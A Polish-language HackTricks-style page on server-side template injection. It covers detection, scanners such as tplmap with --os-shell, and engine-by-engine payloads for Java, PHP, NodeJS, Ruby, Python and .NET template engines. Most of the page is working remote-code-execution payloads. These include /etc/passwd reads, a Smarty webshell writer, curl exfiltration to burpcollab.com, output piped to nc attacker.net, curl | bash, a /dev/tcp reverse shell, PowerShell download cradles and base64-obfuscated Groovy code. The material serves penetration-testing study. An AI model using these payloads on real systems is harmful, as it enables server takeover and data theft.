SSTI (Server Side Template Injection)

Wsparcie dla HackTricks

RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.

Czym jest SSTI (Server-Side Template Injection)

Server-side template injection to luka, która występuje, gdy atakujący może wstrzyknąć złośliwy kod do szablonu, który jest wykonywany na serwerze. Ta luka może występować w różnych technologiach, w tym Jinja.

Jinja to popularny silnik szablonów używany w aplikacjach internetowych. Rozważmy przykład, który demonstruje podatny fragment kodu używający Jinja:

output = template.render(name=request.args.get('name'))

W tym podatnym kodzie, parametr name z żądania użytkownika jest bezpośrednio przekazywany do szablonu za pomocą funkcji render. Może to potencjalnie umożliwić atakującemu wstrzyknięcie złośliwego kodu do parametru name, co prowadzi do wstrzyknięcia szablonu po stronie serwera.

Na przykład, atakujący mógłby przygotować żądanie z ładunkiem takim jak ten:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Payload {{bad-stuff-here}} jest wstrzykiwany do parametru name. Ten payload może zawierać dyrektywy szablonów Jinja, które umożliwiają atakującemu wykonanie nieautoryzowanego kodu lub manipulację silnikiem szablonów, co potencjalnie może prowadzić do przejęcia kontroli nad serwerem.

Aby zapobiec podatnościom na wstrzykiwanie szablonów po stronie serwera, deweloperzy powinni upewnić się, że dane wejściowe od użytkowników są odpowiednio oczyszczane i walidowane przed wstawieniem ich do szablonów. Wdrożenie walidacji danych wejściowych i użycie technik ucieczki uwzględniających kontekst mogą pomóc w złagodzeniu ryzyka tej podatności.

Wykrywanie

Aby wykryć wstrzykiwanie szablonów po stronie serwera (SSTI), początkowo fuzzing szablonu jest prostym podejściem. Polega to na wstrzykiwaniu sekwencji znaków specjalnych (${{<%[%'"}}%\) do szablonu i analizowaniu różnic w odpowiedzi serwera na dane regularne w porównaniu do tego specjalnego payloadu. Wskaźniki podatności obejmują:

  • Rzucone błędy, ujawniające podatność i potencjalnie silnik szablonów.

  • Brak payloadu w odbiciu lub brakujące jego części, co sugeruje, że serwer przetwarza go inaczej niż dane regularne.

  • Kontekst tekstowy: Rozróżnienie od XSS poprzez sprawdzenie, czy serwer ocenia wyrażenia szablonów (np. {{7*7}}, ${7*7}).

  • Kontekst kodu: Potwierdzenie podatności poprzez zmianę parametrów wejściowych. Na przykład, zmieniając greeting w http://vulnerable-website.com/?greeting=data.username, aby sprawdzić, czy wyjście serwera jest dynamiczne czy stałe, jak w greeting=data.username}}hello, zwracając nazwę użytkownika.

Faza identyfikacji

Identyfikacja silnika szablonów polega na analizie komunikatów o błędach lub ręcznym testowaniu różnych payloadów specyficznych dla języka. Typowe payloady powodujące błędy to ${7/0}, {{7/0}} i <%= 7/0 %>. Obserwacja odpowiedzi serwera na operacje matematyczne pomaga określić konkretny silnik szablonów.

Narzędzia

efektywny skaner SSTI + CSTI, który wykorzystuje nowatorskie poligloty

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

interaktywna tabela zawierająca najskuteczniejsze poligloty wstrzyknięć szablonów wraz z oczekiwanymi odpowiedziami 44 najważniejszych silników szablonów.

Eksploity

Ogólne

W tej liście słów możesz znaleźć zmienne zdefiniowane w środowiskach niektórych z wymienionych poniżej silników:

Java

Java - Podstawowe wstrzyknięcie

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Pobierz zmienne środowiskowe systemu

${T(java.lang.System).getenv()}

Java - Pobierz /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Możesz przetestować swoje ładunki na https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} Nic

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Ominięcie piaskownicy

⚠️ działa tylko w wersjach Freemarker poniżej 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Więcej informacji

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Więcej informacji

Thymeleaf

W Thymeleaf, powszechnym testem na podatności SSTI jest wyrażenie ${7*7}, które również dotyczy tego silnika szablonów. W przypadku potencjalnego zdalnego wykonania kodu, można użyć takich wyrażeń jak:

  • SpringEL:

${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf wymaga, aby te wyrażenia były umieszczane w określonych atrybutach. Jednak wstawianie wyrażeń jest wspierane w innych lokalizacjach szablonów, używając składni takiej jak [[...]] lub [(...)]. Zatem prosty ładunek testowy SSTI może wyglądać jak [[${7*7}]].

Jednak prawdopodobieństwo, że ten ładunek zadziała, jest zazwyczaj niskie. Domyślna konfiguracja Thymeleaf nie wspiera dynamicznego generowania szablonów; szablony muszą być zdefiniowane z góry. Programiści musieliby zaimplementować własny TemplateResolver, aby tworzyć szablony z ciągów w locie, co jest rzadkie.

Thymeleaf oferuje również wstępne przetwarzanie wyrażeń, gdzie wyrażenia w podwójnych podkreśleniach (__...__) są wstępnie przetwarzane. Ta funkcja może być wykorzystana w konstrukcji wyrażeń, jak pokazano w dokumentacji Thymeleaf:

#{selection.__${sel.code}__}

Przykład podatności w Thymeleaf

Rozważ następujący fragment kodu, który może być podatny na wykorzystanie:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

To wskazuje, że jeśli silnik szablonów przetwarza te dane wejściowe niewłaściwie, może to prowadzić do zdalnego wykonania kodu uzyskującego dostęp do adresów URL takich jak:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Więcej informacji

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Obchodzenie filtrów

Można używać wielu wyrażeń zmiennych, jeśli ${...} nie działa, spróbuj #{...}, *{...}, @{...} lub ~{...}.

  • Przeczytaj /etc/passwd

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Niestandardowy skrypt do generowania ładunków

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Więcej informacji

Manipulacja widokiem Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Stara wersja Pebble ( < wersja 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nowa wersja Pebble:

{% set cmd = 'id' %}





{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava to projekt open source opracowany przez Hubspot, dostępny pod adresem https://github.com/HubSpot/jinjava/

Jinjava - Wykonywanie poleceń

Naprawione przez https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Więcej informacji

Hubspot - HuBL (Java)

  • {% %} delimitery instrukcji

  • {{ }} delimitery wyrażeń

  • {# #} delimitery komentarzy

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - klasa com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Szukaj "com.hubspot.content.hubl.context.TemplateContextRequest" i odkryj projekt Jinjava na Githubie.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Więcej informacji

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) jest podstawową funkcją, która ułatwia interakcję między warstwą prezentacji (taką jak strony internetowe) a logiką aplikacji (taką jak zarządzane beany) w JavaEE. Jest szeroko stosowana w wielu technologiach JavaEE, aby uprościć tę komunikację. Kluczowe technologie JavaEE wykorzystujące EL to:

  • JavaServer Faces (JSF): Wykorzystuje EL do powiązania komponentów w stronach JSF z odpowiadającymi danymi i akcjami w backendzie.

  • JavaServer Pages (JSP): EL jest używane w JSP do uzyskiwania dostępu i manipulowania danymi w stronach JSP, co ułatwia łączenie elementów strony z danymi aplikacji.

  • Contexts and Dependency Injection for Java EE (CDI): EL integruje się z CDI, aby umożliwić płynne interakcje między warstwą webową a zarządzanymi beanami, zapewniając bardziej spójną strukturę aplikacji.

Sprawdź następującą stronę, aby dowiedzieć się więcej o eksploatacji interpreterów EL:

EL - Expression Language

Groovy (Java)

Następujące obejścia Menedżera Bezpieczeństwa zostały zaczerpnięte z tego opisu.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

​​RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Z misją promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Więcej informacji

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Błąd

  • {{foobar}} Nic

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Format szablonu

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Więcej informacji

Plates (PHP)

Plates to silnik szablonów natywny dla PHP, czerpiący inspirację z Twig. Jednak w przeciwieństwie do Twig, który wprowadza nową składnię, Plates wykorzystuje natywny kod PHP w szablonach, co czyni go intuicyjnym dla programistów PHP.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Szablon strony:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Layout template:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Więcej informacji

PHPlib i HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB jest tym samym co PHPlib, ale przeniesionym do Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Więcej informacji

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Więcej informacji

patTemplate (PHP)

patTemplate to niekompilujący silnik szablonów PHP, który używa znaczników XML do podziału dokumentu na różne części

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Więcej informacji

Handlebars (NodeJS)

Przechodzenie ścieżek (więcej informacji tutaj).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Błąd

  • ${7*7} = ${7*7}

  • Nic

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Więcej informacji

JsRender (NodeJS)

Szablon

Opis

Oceń i renderuj wynik

Oceń i renderuj wynik zakodowany w HTML

Komentarz

i

Zezwól na kod (domyślnie wyłączone)

  • = 49

Strona Klienta

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Serwer Po Stronie

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Więcej informacji

PugJs (NodeJS)

  • #{7*7} = 49

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Przykład renderowania po stronie serwera

var pugjs = require('pug');
home = pugjs.render(injected_page)

Więcej informacji

NUNJUCKS (NodeJS)

  • {{7*7}} = 49

  • {{foo}} = Brak wyjścia

  • #{7*7} = #{7*7}

  • {{console.log(1)}} = Błąd

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Więcej informacji

ERB (Ruby)

  • {{7*7}} = {{7*7}}

  • ${7*7} = ${7*7}

  • <%= 7*7 %> = 49

  • <%= foobar %> = Błąd

<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Więcej informacji

Slim (Ruby)

  • { 7 * 7 }

{ %x|env| }

Więcej informacji

Python

Sprawdź następującą stronę, aby poznać sztuczki dotyczące omijania wykonania dowolnych poleceń w piaskownicach w pythonie:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{foobar}} = Błąd

  • {{7*'7'}} = 7777777

{% import foobar %} = Error
{% import os %}

{% import os %}






{{os.system('whoami')}}
{{os.system('whoami')}}

Więcej informacji

Jinja2 (Python)

Oficjalna strona

Jinja2 to w pełni funkcjonalny silnik szablonów dla Pythona. Posiada pełne wsparcie dla unicode, opcjonalne zintegrowane środowisko wykonawcze w piaskownicy, szeroko stosowane i licencjonowane na podstawie BSD.

  • {{7*7}} = Błąd

  • ${7*7} = ${7*7}

  • {{foobar}} Nic

  • {{4*4}}[[5*5]]

  • {{7*'7'}} = 7777777

  • {{config}}

  • {{config.items()}}

  • {{settings.SECRET_KEY}}

  • {{settings}}

  • <div data-gb-custom-block data-tag="debug"></div>

{% debug %}






{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Format szablonu

{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}

RCE nie zależy od __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Więcej szczegółów na temat nadużywania Jinja:

Jinja2 SSTI

Inne ładunki w https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Więcej informacji

Razor (.Net)

  • @(2+2) <= Sukces

  • @() <= Sukces

  • @("{{code}}") <= Sukces

  • @ <= Sukces

  • @{} <= BŁĄD!

  • @{ <= BŁĄD!

  • @(1+2)

  • @( //C#Code )

  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");

  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Metoda .NET System.Diagnostics.Process.Start może być używana do uruchamiania dowolnego procesu na serwerze, a tym samym do tworzenia webshella. Możesz znaleźć przykład podatnej aplikacji webowej w https://github.com/cnotin/RazorVulnerableApp

Więcej informacji

ASP

  • <%= 7*7 %> = 49

  • <%= "foo" %> = foo

  • <%= foo %> = Nic

  • <%= response.write(date()) %> = <Data>

<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Więcej informacji

Mojolicious (Perl)

Nawet jeśli to Perl, używa tagów podobnych do ERB w Ruby.

  • <%= 7*7 %> = 49

  • <%= foobar %> = Błąd

<%= perl code %>
<% perl code %>

SSTI w GO

W silniku szablonów Go, potwierdzenie jego użycia można uzyskać za pomocą konkretnych ładunków:

  • {{ . }}: Odkrywa strukturę danych wejściowych. Na przykład, jeśli przekazany jest obiekt z atrybutem Password, {{ .Password }} może go ujawnić.

